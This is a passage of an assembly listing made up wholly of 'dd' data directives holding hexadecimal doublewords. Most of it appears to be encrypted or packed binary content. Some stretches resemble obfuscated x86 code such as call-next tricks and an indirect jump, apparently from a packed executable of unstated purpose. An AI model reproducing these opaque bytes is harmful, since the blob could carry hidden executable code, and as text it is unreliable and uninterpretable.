		dd 880388D2h, 28CE822h,	0E48h, 0DCA06B62h, 0C0844541h
		dd 0A3672A25h, 85490E08h, 6529F2EAh, 635B8A3Ah,	423BD69Ah
		dd 1E1CB77Bh, 5029D61h,	6B368246h, 7FAB6FAAh, 0CC7AE35Dh
		dd 26F5BEB6h, 0ACC88D87h, 45E0A0F5h, 0EBBA8948h, 3B0C2F47h
		dd 8142A80Dh, 5B699706h, 2AEA3FBAh, 1BA692BCh, 0BFCD8B4Ch
		dd 88036177h, 402C6F6Ch, 6C8A298h, 5C7087B5h, 0E8B7B604h
		dd 0E229D644h, 0CE8F4B5Ah, 0A2987A4Bh, 0A7706807h, 0DB0BD72Ch
		dd 9D000000h, 0DEFAB9B6h, 26420B03h, 69B5C929h,	0F3B2AF5Bh
		dd 5AC0642Fh, 0BD4B664Ch, 93902B80h, 52C6B8B0h,	38185E13h
		dd 0FFB6D24Dh, 0CF696884h, 0F20ED5CEh, 30F1C03Bh, 9E887A10h
		dd 162F29C8h, 982A3255h, 98138EA2h, 41058043h, 3C0BB682h
		dd 0BADD9E6Dh, 16A2982Ah, 0B589469Bh, 6B988BCFh, 8A8221F0h
		dd 5A53F2C1h, 6BC07793h, 4741E0ABh, 5AAF6682h, 0A8FEC7BFh
		dd 2289CCACh, 45CE58B4h, 6500000Dh, 44DFA36Eh, 28C38748h
		dd 0BA66A2Dh, 0ED884C11h, 3D682CF5h, 9D665E87h,	7E453ED9h
		dd 64211FBAh, 490805A0h, 0AD6E3985h, 5D7FAC6Ah,	86CF7DE6h
		dd 0B093F6B7h, 0B42F5B69h, 3CCC45Fh, 0BFA7A43Fh, 0E5670B5Bh
		dd 0D09F1A5Ch, 0A8479C2Ch, 0EEBD0288h, 6931EA2Dh, 96EB665Bh
		dd 0B9B668D6h, 34D3DEFAh, 92534F3Ch, 0EF44BF76h, 0D4985754h
		dd 69B0F417h, 0C07F7C5Bh, 0A56461FCh, 0F2B1AE89h, 3FFEFBD6h
		dd 8C4B4823h, 0E738BA70h, 0DC93D09Bh, 55D0B69Bh, 4102D19Ch
		dd 5B6985C6h, 6460FF7Ah, 7FD04EA3h, 0B87C3B38h,	76D349EDh
		dd 1224DDDFh, 0A7BC3BBDh, 0AA6AAFF5h, 0FC000000h, 0A336E286h
		dd 1EC4E942h, 6F2E0AC9h, 0E198B471h, 9844742h, 9DC7793Ah
		dd 7EF96177h, 4F1810AFh, 0F277C33h, 0F6756004h,	6C9D3781h
		dd 0AC3B5A17h, 0A4B3A29Bh, 99048D00h, 0F2471C12h, 0DAC2374h
		dd 7A314D14h, 0AD54A325h, 5AD2B603h, 64000000h,	69B07094h
		dd 5D64D45Bh, 0BCE3CD8Eh, 229D6177h, 12E08453h,	2CE21E49h
		dd 1C335617h, 148FA298h, 61B67B75h, 450E06A1h, 0B30E2A29h
		dd 7C4D23E4h, 78F39886h, 5E1B19B4h, 0A8F54342h,	9D6CE7B0h
		dd 944ADCDCh, 6425F492h, 0B6BCC625h, 3D04CDC5h,	398347C2h
		dd 8DCh, 0F6B786C7h, 5B69B093h,	0A05FB42Fh, 995A2998h
		dd 6177B227h, 804F1E99h, 984E58BFh, 652220A2h, 50CB9249h
		dd 0A7E6E3FBh, 4BA2984Eh, 9974904Dh, 7BDD9A0h, 66113485h
		dd 0D22553A4h, 54B60449h, 1Bh, 0B07194E6h, 1F95B69h, 0EA651C38h
		dd 0F726771Bh, 3E9C0932h, 0FBC29FE9h, 922DFFFFh, 8B4C1BA6h
		dd 6177C3ADh, 0CFCCE863h, 0A2985C4Ch, 807A1928h, 0CAC49FBBh
		dd 0B7358A05h, 5BBF3866h, 1767B604h, 0F9000005h, 35BCE286h
		dd 0F077BBC8h, 45DC394Ch, 75CA3E95h, 0AD8BA200h, 70844514h
		dd 0B0617762h, 3EF920E1h, 0DE59A29Bh, 6DCDCA63h, 2FFCDC6Fh
		dd 28E9B809h, 315AE1B8h, 9905120h, 0F11176E1h, 5F1632F7h
		dd 5C81D98h, 857D6D66h,	44BC9139h, 0A35A76F1h, 2B0D0C28h
		dd 1306C796h, 0C72B64DBh, 37192B23h, 0C51A67E5h, 19B88702h
		dd 0FE995D1Ch, 9EEC4201h, 0EE9567DFh, 0AE20892h, 0D1C80000h
		dd 0ABA74206h, 908B26EAh, 746E09CDh, 5850EBAFh,	24A0CB8Fh
		dd 3C00C9C1h, 1DE1A8A1h, 3C78482h, 0E8AC6B68h, 8910D19Ch
		dd 495D7FAFh, 0B9B632E0h, 59DFDEFAh, 1300073Fh,	6CE7F8B2h
		dd 4300FE9Dh, 0C854B374h, 71EC5B69h, 7490511Ch,	0B46177C0h
		dd 0B742AB10h, 0A01B19E6h, 773432D1h, 91A18B3h,	9B29C148h
		dd 0B828A4A2h, 0C9B19434h, 0F00C8702h, 9B8094F3h, 0F0D332A2h
		dd 0C573A29Bh, 9D5E2DFCh, 0A29B907Ah, 0C0BC5BD6h, 1EDFAAFFh
		dd 988599AAh, 928FAB26h, 0A88DA773h, 61D829EBh,	0E905C6C2h
		dd 9C5BDD32h, 8BBC1235h, 0F2BF4ECh, 36370358h, 0C9000000h
		dd 27EEE786h, 0D83F000Bh, 785B69B0h, 6E2D82FDh,	6728F7CAh
		dd 6177E1C9h, 9A5D58F7h, 0B7B1501Fh, 0CA1FD6F2h, 17D8A7B2h
		dd 0A2987EF0h, 3680D550h, 1Ah, 0ECE786C4h, 2315D429h, 6100CF9Eh
		dd 0D38AA663h, 0B347C17Eh, 7EF96177h, 0E786B462h, 560D29ECh
		dd 0AA696601h, 69386C54h, 66F04CD1h, 9C8h, 5C20EBE2h, 4004C5C1h
		dd 23E7AAA5h, 5C98E88h,	0E5A9726Ah, 0E3DB0ABAh,	0C2BB561Ah
		dd 9E9C37FBh, 85821DE1h, 0EBB602C6h, 7F90EF2Ah,	4CFA635Dh
		dd 4C1BA692h, 22E1DE7Dh, 0BEAC10CDh, 0F16C6177h, 3EFDFAD5h
		dd 18DFBD7Ah, 0D2717B45h, 3FF612D9h, 0B1102BEAh, 925322EDh
		dd 89CF0777h, 3CFB50CBh, 0E1A271FCh, 89CF07A6h,	0BBDE9F1Ah
		dd 1789CF07h, 1391F89Ch, 975F629Dh, 0B2AE4D1Ch,	10D19CF1h
		dd 0B3D16D88h, 0A6B1CD48h, 6BF316D7h, 864797F1h, 97F16B03h
		dd 27D44BFh, 551612ADh,	2F27C691h, 0E6521166h, 9D4B0CDBh
		dd 53ADEF62h, 5CBFBCD8h, 249DE362h, 724D6926h, 0C995B17Ah
		dd 2CD7FA4Bh, 0CEB196Ah, 1AE96B76h, 144h, 1BA692ACh, 0BE298B4Ch
		dd 6CE76177h, 3D06FE9Dh, 0F8F5D0E8h, 193F0D10h,	0B0716090h
		dd 0A2986F69h, 78F36EE9h, 5D1C19B4h, 35404441h,	0AB6D7B45h
		dd 5716135Ah, 0E8FBF893h, 0CF15E027h, 6AE56089h, 4FB3514Eh
		dd 0A9B45012h, 2F4B100Ah, 54A52378h, 8251100Dh,	0DA97F2B3h
		dd 872BF032h, 6C57364Bh, 8226A1DEh, 0C0F117E5h,	0E0A0F5DDh
		dd 6D894845h, 26F5CC6Eh, 0F8BFB857h, 32EDD037h,	0E0A170F0h
		dd 0F032EDB9h, 0CE239E19h
		dd 0EDA74203h, 0E05BF032h, 0E1AD511Ch, 95FBED9Fh, 1C1CDB30h
		dd 1715D6A5h, 0B1CA2CD0h, 0CAC86736h, 0E53AF10Dh, 2823C2CDh
		dd 78751065h, 5D5AF5B9h, 0B00E894Ah, 0F9BAFE24h, 0FE24B09Eh
		dd 75F0B732h, 0DEE1DEFAh, 2AFE24B0h, 75506C2Fh,	0E39AB67Bh
		dd 6B874844h, 0BFE233B5h, 4990E19Fh, 0CC98D4Ch,	6AF0E863h
		dd 692D94A7h, 4312D1CEh, 0CBE7A8A4h, 0AAA7BF14h, 0D1499EBFh
		dd 7E9A635Bh, 43E2ABA3h, 0B66C8845h, 66C0E334h,	40C78857h
		dd 0F1D891h, 61B23085h,	9A5E1D1Ah, 274302FFh, 0E2B11028h
		dd 0C6F53F21h, 5726A1CBh, 2F9423B3h, 2E2C3F1Bh,	239E5571h
		dd 5AC40ECEh, 52000000h, 0F9F7A692h, 0EE69203Ch, 0E1D25E1Fh
		dd 73EE6177h, 2DA84C57h, 8B3939C2h, 6D3CA6Eh, 9F546ADFh
		dd 0F2B3AF4Ah, 5AA28E2Eh, 4716AB8Fh, 19DAA978h,	0A29869FEh
		dd 0F316D752h, 4FA29869h, 77F2B5B0h, 692A6522h,	1B96A298h
		dd 0FEBF8E5Dh, 0A298699Bh, 0D7A09837h, 348904BBh, 0FAB9B6C6h
		dd 0C17736h, 0D3989231h, 6EF2B37Eh, 926177D2h, 36A44817h
		dd 93D442E3h, 1AE9B409h, 0A2BE7F7Bh, 0FDFB96EBh, 0DAD27140h
		dd 6F3EF511h, 98A36BAEh, 176CE7A2h, 0F3ED8C57h,	403ED92Eh
		dd 0D0686783h, 0B45322F1h, 10D9D1BAh, 0AD6E7995h, 0A298A36Ah
		dd 9BF06BE6h, 86ABC6DEh, 6B870298h, 8ACB2F6Eh, 13D4A3A8h
		dd 0A88B4BF4h, 0CE2DD14Ch, 983CDA5Bh, 0DB5D1C71h, 625617E6h
		dd 5E9295AEh, 0E501C4BFh, 8C97B32Eh, 6332EFEDh,	0BDBD67A2h
		dd 0B60DBB6h, 0BDBDCF4Eh, 94E5A7B6h, 223F9166h,	1F95C2h
		dd 92270000h, 38FDF7A6h, 1BEA651Ch, 0F0B1AD4Ch,	0BC81DD4h
		dd 6177E165h, 7A04209Bh, 17h, 1BA69208h, 0B30D8B4Ch, 48C36177h
		dd 0DBCCD579h, 0E55AB0D8h, 0B6CA7890h, 0D2A4FAB9h, 92D16938h
		dd 676AC36h, 3D340000h,	1713AE72h, 0FCF79256h, 0E0DA7539h
		dd 0C4BC571Bh, 580C37FBh, 0A86C352Dh, 894D140Dh, 6F33F0EEh
		dd 5418D7D4h, 1D7C3D08h, 0B55D7F93h, 6DDC9E4Ch,	18E7DA5Eh
		dd 9FBB7E79h, 7C893E8h,	6177DFF5h, 221FB833h, 0E4415BA7h
		dd 4F3B6F13h, 0B8708347h, 2D94A463h, 0F2F08F5Eh, 0F523E035h
		dd 6B56DD25h, 0F6EEEAC7h, 57D2029Dh, 0C5FC3C3Bh, 5D8327F6h
		dd 0F5B56963h, 69D734C1h, 8F255AC5h, 4FF37D3Ah,	920D50EBh
		dd 6425F4C3h, 70E7D825h, 32CD229Dh, 0FB894D35h,	6C9E3795h
		dd 0C3622DF1h, 34EB07C6h, 884744DFh, 0E7257A32h, 30BA16FAh
		dd 5C4h, 6024EFE6h, 4408C9C5h, 27EBAEA9h, 9CD928Ch, 0E9AD766Eh
		dd 0E7DF06BEh, 0C6BF5A1Eh, 0A2A03BFFh, 898621E5h, 0EFBA06CAh
		dd 7F94EB2Eh, 50FE675Dh, 0CCD1B9B6h, 6DE6D8AEh,	444AA01Bh
		dd 24D169D5h, 57E3EC8h,	352C0000h, 0F0BA66Ah, 0F4EF8A4Eh
		dd 0D8D26D31h, 0BCB44F13h, 40042FF3h, 0A0642D25h, 81450C05h
		dd 672BE8E6h, 4C10CFCCh, 15743500h, 0AD5D7F94h,	0B9B69644h
		dd 0B0A2E5A6h, 0A31E5B69h, 0B0F413D4h, 0D14C5B69h, 0EAE88756h
		dd 0D2918E2Dh, 92AAFFB6h, 4D1CA593h, 7FC9998Ch,	0FDE5961h
		dd 339A276Bh, 92E743B2h, 9C2513D2h, 625FFECDh, 7BD087A3h
		dd 9E7EC6BEh, 0EB078298h, 0B205AFEEh, 348547A8h, 1A92F106h
		dd 209236BCh, 74353176h, 61DD2CD0h, 0BD400Ch, 0DCD20000h
		dd 0DEE35578h, 0DFBE4E0Fh, 0FF7A6177h, 13546966h, 0B584D381h
		dd 0EE225E6h, 0E35E7183h, 830EE722h, 8BE05B71h,	86556CCCh
		dd 9D021BC5h, 2E4AC54Bh, 0C8878423h, 5B56F5ACh,	70C57C98h
		dd 6B3A87B1h, 8D0CCD9Ch, 457FB502h, 252B576h, 73EE7FB5h
		dd 33E6A3F8h, 0AF45A7ADh, 0C9C66534h, 35EA29E1h, 0B862751h
		dd 0E5DD7C47h, 0F449001Ch, 0A7745C59h, 0F148B370h, 1FE4DE7Dh
		dd 48424EA4h, 0C21ECFA2h, 46338h, 85504700h, 692A26C1h
		dd 4C0F0AA5h, 2EF3ED88h, 0ED7CF6Ah, 40A51F4Ah, 20BB7F48h
		dd 19C6027h, 0E7824603h, 1B672BEAh, 95088F50h, 5FC85D7Fh
		dd 7C07B1h, 92950000h, 8B4C1BA6h, 617FC9A8h, 9B9EC468h
		dd 4CF0B5AFh, 0A62199ECh, 583B38D7h, 5D219C5Bh,	0EBDDC5C2h
		dd 2990F752h, 2F2E4AC5h, 28E9B809h, 989E6344h, 6E6D8904h
		dd 6728F7CAh, 92AC4D15h, 680258D3h, 0C83CA444h,	3E2E26Ch
		dd 0D1C80000h, 0ABA74206h, 908B26EAh, 746E09CDh, 5850EBAFh
		dd 24A0CB8Fh, 3C00C9C1h, 1DE1A8A1h, 3C78482h, 0E8AC6B68h
		dd 8910D19Ch, 495D7F96h, 759432E0h, 0D35B69B0h,	5B69B0B0h
		dd 0A96A3908h, 5B69B06Eh, 63A667E2h, 75B69B0h, 9844B0Ah
		dd 7E43F5B4h, 0C93FEEAFh, 40BB617Fh, 0A03A271h,	0AF702743h
		dd 0A2805768h, 186DE8h,	13692825h, 2880DE71h, 69E973CFh
		dd 41000003h, 20BB7F4Ah, 49F6324h, 0E7824609h, 0C96428EDh
		dd 194408D1h, 79423AABh, 5A211AB5h, 40FDFB96h, 25E4E17Ch
		dd 894A1561h, 5D7F960Eh, 0B6AB59C2h, 0DFDEFAB9h, 0D8996859h
		dd 6177C64Ch, 22DFDD7Ch, 9626E3A7h, 7A5F59C1h, 9C3F9082h
		dd 62D82D4Bh, 908823E7h, 8FACABC7h, 324E150Eh, 0CE3C007Bh
		dd 0DEFAB9B6h, 83470603h, 7E4D74C4h, 77BE3FBDh,	425ED961h
		dd 9842C645h, 0E9B2AAA2h, 33F8F2CDh, 8EDF6117h,	0ADFEC06Bh
		dd 0D7986736h, 0A29842B0h, 0B5D49510h, 0DA29842h, 38F5F392h
		dd 569661E3h, 4690B604h, 22000000h, 2BEAE786h, 0C1B9580Fh
		dd 0D025DCF8h, 0CB9A2711h, 77BF4E0Ah, 0C6DE8261h, 8CADD2A7h
		dd 0F49867E2h, 5CCF7C0h, 8CC111E3h, 0AE2A52F6h,	0FF7A433Bh
		dd 769592AAh, 0EEA2989Dh, 4AADDB2Ch, 0DCB6051Fh, 0FAh
		dd 0FAB9B66Eh, 0CB948C2Bh, 8BA3F8AFh, 20EFB8B0h, 0AAC68381h
		dd 945B54F3h, 7D1C273Fh, 6EA96A83h, 0E25B69B0h,	2248EC67h
		dd 0FB622E52h, 0AAA74297h, 0CA781CEBh, 3E4DD67Fh, 3A152D82h
		dd 0FDBA7E3Dh, 5B6908BDh, 3C78683h, 90AC6B68h, 4B1AA791h
		dd 97ECB3ACh, 635EFDCCh, 0CA8E4BA0h, 661777Dh, 3008C78Bh
		dd 38AE2C68h, 1F9ABC65h, 0CCBAAC50h, 31FBFCC6h,	9E4211DCh
		dd 0DE9CE090h, 1BE1395h, 98884CB5h, 8221F06Bh, 53F2C18Ah
		dd 187F4059h, 0B8A888DCh, 0EFA6C23Dh, 473FDA9Ah, 558A287Eh
		dd 7EDA2288h, 1D3F4h, 15E0D700h, 0F9BAB651h, 0DC9F9A35h
		dd 0BE837D18h, 9E675FFAh, 0D035AFDAh, 0B04B0FD8h, 912CF0B7h
		dd 7712D693h, 0ABF7BB7Ah, 98F81FE0h, 0EF585D7Fh, 0CCBEB641h
		dd 8433DA27h, 211AB968h, 0C873E5Ah, 0E2A19E3Dh,	3532CD8Dh
		dd 48E7B276h, 0B9708C4Bh, 0A692F664h, 0BC7D4C1Bh, 5B69B05Dh
		dd 5A257AF5h, 77BFBF99h, 0DF650961h, 0DCD3EB75h, 75F0B308h
		dd 0EC395C59h, 0F3B5A298h, 65872BA2h, 7568711Ah, 31C6489Dh
		dd 0F5B60458h, 0C4h, 0FAB9B687h, 420B03DEh, 0B5C92926h
		dd 0E07F5B69h, 35D025E2h, 1AB57938h, 0EB8F5E1Dh, 28268C15h
		dd 9DBC76Bh, 0B6737110h, 6F3E4961h, 39B8DFA0h, 9D18A496h
		dd 9639BDDCh, 797615A4h, 2BEA3FBAh, 24E5B40Dh, 9E884C24h
		dd 9E5D219Ch, 9758279Ah, 988B21E0h, 7716E560h, 66A1627Fh
		dd 0DAA8897Eh, 8520E45Fh, 0FA6EC48Dh, 162289F7h, 0D630BAh
		dd 0DDD40000h, 0B7B34E12h, 9C9732F6h, 807A15D9h, 645CF7BBh
		dd 38ACD79Bh, 480CD5CDh, 29EDB4ADh, 0FD3908Eh, 0F4B87774h
		dd 0FD1CDDA8h, 555D7F99h, 0BEB63EECh, 999631F5h, 0A74B16DAh
		dd 4A97F78Bh, 2F6A2B81h, 0A35B69B0h, 1DDEAD28h,	5B69B0FAh
		dd 1886DB56h, 5AD1B9B6h, 5A176648h, 0DAB5D14Ch,	8F5A1EDDh
		dd 6998FFC0h, 6F305B69h, 5B696928h, 0C2662DA8h,	4EC113B5h
		dd 3908838Dh, 69BC1178h, 0E136B15Bh, 0DCAB1622h, 7FC5441Bh
		dd 0B281FC61h, 0FF541913h, 500F0CE7h, 35F4F18Ch, 6CFC766h
		dd 9A9C99B1h, 0A73D4B87h, 504D94E5h, 3532CD91h,	0D08A776h
		dd 2DDF54Ah, 0CB274308h, 7875BC0Dh, 5D5AF5B9h, 3530CF9Eh
		dd 718D564Eh, 0D2EA3FBAh, 348h,	8133D600h, 0D8F4BFB6h
		dd 254100FDh, 738F4C4Ah, 0BCD89F98h, 420E9E1h, 4C683129h
		dd 96B27771h, 0E1FDC0BBh, 2D490A06h, 4EC8169h, 89000000h
		dd 8950242Ch, 405E0h, 42D0000h,	87000000h, 895C2404h, 8956242Ch
		dd 4C681E6h, 83000000h,	348704EEh, 0C895C24h, 0E6BB5324h
		dd 817C9275h, 846FE6F3h, 8BDD897Ah, 0C481241Ch,	4, 240C8B54h
		dd 4C481h, 50550000h, 17485FB8h, 24440176h, 418F5804h
		dd 8698108h, 7617485Fh,	52240C8Bh, 0C281E289h, 4, 4C281h
		dd 14870000h, 2C8B5C24h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 0F853F3E9h, 0EA5856FFh, 0B8C1B440h, 6162A19h, 0E0FFC503h
		dd 8BCFCF9h, 57BFE266h,	6713D17Ah, 64D95E39h, 13DAFEBAh
		dd 25295E79h, 445E9793h, 5175988Ah, 59B039AEh, 2B4D8201h
		dd 2A5BC458h, 2B918D8Dh, 8E0F0616h, 7, 1810Fh, 89FC0000h
		dd 0E2FC58Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0B62E9DEh, 88185C7h, 69C8060Eh, 0B5230000h
		dd 60E092Dh, 28D985C7h,	60Eh, 8D290000h, 60E161Dh, 1889B5FFh
		dd 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 794347C3h, 95FF186Ah, 60E09B9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 91C35242h, 6A6BA0h
		dd 0F4595FFh, 0C08B060Eh, 61A41FEBh, 0EDB43C13h, 247C8A89h
		dd 0D3108194h, 10DFE46Bh, 0A43191E1h, 21CB5B5Ah, 62E9DEC7h
		dd 4C8D8D0Bh, 8906162Ch, 0E2FC58Dh, 498BBA06h, 85C709D0h
		dd 60E0881h, 73D4h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0DBC35646h, 5C588832h, 0C3814A5Fh, 59DAF3Dh
		dd 28D985C7h, 60Eh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0D5E9EBC3h, 0D9901ED3h
		dd 8D09F916h, 60E1949h,	183DB5FFh, 858B060Eh, 60E31B1h
		dd 95FF8AB4h, 60E09B9h,	0FBBF0F52h, 0FF006A5Bh,	0E0F4595h
		dd 0EBC08B06h, 0B8F2252Fh, 846F05EDh, 0BDDA4904h, 0AF79EE2Dh
		dd 0B9301B00h, 258F58E1h, 0B861705h, 1E2845F4h,	0BE4E6ADFh
		dd 3E88B867h, 1DA19FAAh, 0A50059E4h, 11E9h, 933BBE00h
		dd 1Dh,	2 dup(0)
		dd 0ECE90000h, 51000004h, 30CB8F5Ah, 14AF7334h,	0F7925619h
		dd 0D97438FDh, 295418E1h, 89524ABBh, 6A312AC5h,	500D0BA6h
		dd 35F4F18Ch, 995A2571h, 5D7F9C7Eh, 0B6BB69D2h,	73C9D1B9h
		dd 43AEE9AAh, 0A7225B69h, 29B5F403h, 0BFB792AEh, 0B95827F6h
		dd 0DC3BFCBDh, 745B6985h, 49E4A4F9h, 1FBE8D4Ch,	0F70F6421h
		dd 44601F1Ch, 90AC6D69h, 0A0E738FAh, 8520E4A3h,	2CFBCA87h
		dd 69852C6Bh, 4DE5C75Bh, 558520F1h, 0FEBE138Eh,	8A846563h
		dd 77F2A9C5h, 0F118D9A8h, 515B69B4h, 5E6981D6h,	0AD02C3BFh
		dd 36521912h, 84A05D5Bh, 0CFEBAEA9h, 11348503h,	4C47E6F1h
		dd 98926D89h, 0C88958D3h, 5B69B441h, 0B3318601h, 601D1B62h
		dd 4504019Ch, 19DCD776h, 0ABA746FDh, 727D95EAh,	0F7F4D5D3h
		dd 0AB68BD38h, 5B69B469h, 4C7ACB89h, 0AFF647ABh, 607Bh
		dd 0B9B60D00h, 0A4E1DEFAh, 0BE5B69B0h, 9938AF00h, 8BFDB9Eh
		dd 4BC631B3h, 0C261AFF6h, 0CE703C8h, 7FD44F10h,	0AB3h
		dd 2C44E800h, 32BD3874h, 0B62F9DF2h, 8B2AF9BAh,	5E76CB92h
		dd 0AAC68783h, 0F410D5CFh, 44B9C5Eh, 0E8834708h, 0B95D2CEBh
		dd 0FDF70BE6h, 7FBE9438h, 13DE9EF3h, 61B67974h,	0EBE786F3h
		dd 423AD52Ah, 86825D79h, 0E587D99Ch, 1792C75Dh,	24E4A448h
		dd 0BEAB89F0h, 0DE5C5169h, 314E468Dh, 699A2970h, 0F0AA95Bh
		dd 9256D14Ch, 673028C7h, 9AB0D798h, 95105B69h, 0E9A8A540h
		dd 34F7F2CDh, 80413D18h, 0CD8C8964h, 1667E5B1h,	0F814D1CFh
		dd 591BC641h, 202DDA08h, 71F9AFF6h, 8B000000h, 26F5BEB6h
		dd 0B0739657h, 54CF5B69h, 110CE7FFh, 37DB7F4Eh,	3BF443FFh
		dd 1B7E0F00h, 0AE29DCF4h, 0E9AB4159h, 90595198h, 703931CCh
		dd 917F7954h, 190A43FEh, 0B7D34E12h, 8FBD0ED0h,	0AFF5B978h
		dd 42AEh, 0BEB64000h, 0FED9F5h,	0EF712743h, 725F579Eh
		dd 0E299B576h, 2F91233Eh, 0C5407F0Bh, 6F5D57F6h, 0BEE876DCh
		dd 5C78F3C7h, 229050A5h, 0DDF9BAB6h, 69B0BCE0h,	0AF00BE5Bh
		dd 0F64C7681h, 1B0AFh, 0B6420000h, 8A29F8BBh, 0FCB3CF8Ch
		dd 0B02D6C2Dh, 2AA55B69h, 0E5E2BDD5h, 0B0F611D2h, 0CF4A5B69h
		dd 5F5D3854h, 0B0AB86A2h, 29F1D1EDh, 0E07C35CFh, 82D391B1h
		dd 30813F5Fh, 672BEEE9h, 6A0890A8h, 0E1576ACh, 3F00CF4Ah
		dd 61773935h, 613C58D3h, 7D6A564h, 9B39C346h, 0AF047FA2h
		dd 985754EFh, 391A7F7Ch, 8507A29Bh, 2D19BD34h, 0AEA63908h
		dd 0EEEB86DBh, 0D3D06B2Fh, 201DF814h, 0D2504561h, 2A3D3A81h
		dd 9B9E2E69h, 5DFEA2A2h, 0CCC16920h, 3C007BF6h,	4003DBAh
		dd 10AE9B6h, 927B0000h,	0AD4C1BA6h, 1FD6F2AFh, 0E63EFFCAh
		dd 9A6177E2h, 1FDC27CBh, 8B0456E8h, 98334FCAh, 338803A2h
		dd 0FED9F570h, 0E37E4201h, 0B95827E6h, 17DAD5C0h, 542F479Ch
		dd 877C9857h, 7471B809h, 886FF1B5h, 9EB604C9h, 6Ah, 0C44304D3h
		dd 0A4A298C7h, 10C7E3ACh, 0B79CE49h, 4918A992h,	1DE0DB7Ah
		dd 0D235F601h, 6E5B69B0h, 662378F3h, 0DB69B003h, 2B2844BFh
		dd 0DB69B0ECh, 0B32CD09Bh, 0EDC8BFC2h, 0D92AA8FDh, 25F4CD6Eh
		dd 0CCC2BB81h, 896C10CFh, 34329575h, 1447DF3Eh,	0B8794499h
		dd 5B697771h, 677A6509h, 0C4678F86h, 6D31AC6Fh,	5723h
		dd 0A692B100h, 0D98B4C1Bh, 176177B0h, 0A8A5809Ch, 8D8A25E9h
		dd 0D3EFACAAh, 8885A11Ch, 0A2984E06h, 0F9409113h, 0AE793DFCh
		dd 4EFB1EDFh, 0DC57A298h, 5170C887h, 22C7C182h,	0FE79988Eh
		dd 4B0A07E2h, 0C415D32Fh, 13E2DF59h, 0E9A8A544h, 4C116CDh
		dd 92A40D04h, 0F7D41BCh, 4C1BA692h, 0D2EEB3ADh,	3AFBC61Bh
		dd 617FDC5Eh, 8E4F4BEAh, 0DFFB7639h, 271F0704h,	0F05F33ECh
		dd 3AF7F594h, 28EC671Eh, 2D1908Dh, 438F85Eh, 0CD220AEDh
		dd 3053B8B5h, 9E608F07h, 4A09064Dh, 2FEEEB86h, 793E3813h
		dd 57F6015Dh, 0C442975Eh, 605DFC73h, 79CE85A1h,	5E22E1DEh
		dd 3807C6C3h, 0C0CAB494h, 176CF037h, 375FFh, 33030000h
		dd 0F4BFB681h, 4100FDD8h, 8F4C4A25h, 0D89F9873h, 20E9E1BCh
		dd 68312904h, 0B277714Ch, 0FDC0BB96h, 490A06E1h, 8951692Dh
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 23B468h
		dd 241C8900h, 5E08950h,	4, 8704E883h, 895C2404h, 9B682414h
		dd 8B06162Ch, 0C481241Ch, 4, 24148B54h,	4C481h,	53530000h
		dd 7713DABBh, 245C0161h, 428F5B04h, 86A8108h, 617713DAh
		dd 5A2434FFh, 4C481h, 1C8B0000h, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 0F84D1BE9h, 0B83CC3FFh, 616310Ah,	0E0FFC503h
		dd 17451E83h, 6B58E604h, 48E5B9Eh, 1D2BC291h, 6A5A9CD0h
		dd 55B2349Dh, 7E605EAEh, 24B1D152h, 15F71EF1h, 696495F9h
		dd 1F2E0D89h, 327E8D8Dh, 8D890616h, 60E2FC5h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 58C35545h, 85C78AF8h
		dd 60E0881h, 61A4h, 6840Fh, 85890000h, 60E19D9h, 28D985C7h
		dd 60Eh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 140424h, 55450000h, 95012EC3h, 60E21BDh, 1B3DBD31h
		dd 0B5FF060Eh, 60E0801h, 449B589h, 95FF060Eh, 60E09B9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5FC35747h
		dd 0FCF9D63h, 89h, 0DE900h, 0D15B0000h,	0B767D38Ch, 640B963Dh
		dd 6A91548Dh, 4595FF00h, 8B060E0Fh, 0F70EEBC0h,	50AA59DEh
		dd 0E439BC6Dh, 40B92185h, 24E92Dh, 0CB1F0000h, 711Ah, 7	dup(0)
		dd 14E90000h, 75000005h, 54EFB37Eh, 38D39758h, 1BB67A3Dh
		dd 0FD985C21h, 4D783C05h, 0AD766E97h, 8E554EE9h, 74312FCAh
		dd 591815B0h, 0BD7E4995h, 5D7F825Ah, 0E3828DF6h, 1F63FDE7h
		dd 53921E6Fh, 0B005BCD8h, 0FAB9B642h, 420B03DEh, 27E6E37Eh
		dd 595C000Bh, 6E8E65C9h, 5D6BAE6Fh, 6CE75B69h, 4019CF1h
		dd 0DDD77645h, 0F045FC18h, 4001FDD8h, 0DB7F8E24h, 581D4Ch
		dd 62E03581h, 0ECDCA11h, 0F4B1AF4Ah, 0C68D8625h, 0DE9EF3AAh
		dd 66644543h, 0EB8D05A9h, 1C6DE799h, 0B1AA85A1h, 0FAF3CEEAh
		dd 3F3C1733h, 1A986480h, 0C886A6C9h, 21323077h,	695D3960h
		dd 9CA995Bh, 5B695D8Eh,	0D14CC742h, 0B675720Dh,	5D7F9D9Ah
		dd 0BD7B5B69h, 5EB93E6Ch, 736DAFF5h, 0FF000000h, 2AEBE786h
		dd 2A3D3AD5h, 69B02E69h, 0AC27A25Bh, 0B0769390h, 0B2705B69h
		dd 4BC43361h, 162AFF6h,	0F4000000h, 2AF9BAB6h, 75CA938Bh
		dd 0C283525Dh, 5B69B047h, 902B80FBh, 0DCB7D394h, 8108C9E2h
		dd 415B69B0h, 992F4BC6h, 433F86D7h, 23E4B382h, 5B69B0E4h
		dd 493DE15Ch, 73F75594h, 4C17D72Ch, 0E642D5A8h,	520925EEh
		dd 0B85D83AEh, 0CCBC863h, 0BEB6DA48h, 2FED9F5h,	0B2302541h
		dd 59221A61h, 0D7F2EB8Ah, 69B0F316h, 59D44F5Bh,	7131863Dh
		dd 4C0907A6h, 0A05F5CF7h, 0EBAEA984h, 0D526E8CFh, 0F64A60A7h
		dd 72C6AFh, 5CFB0000h, 0A0809C63h, 8138A92Ch, 0E63BB6B2h
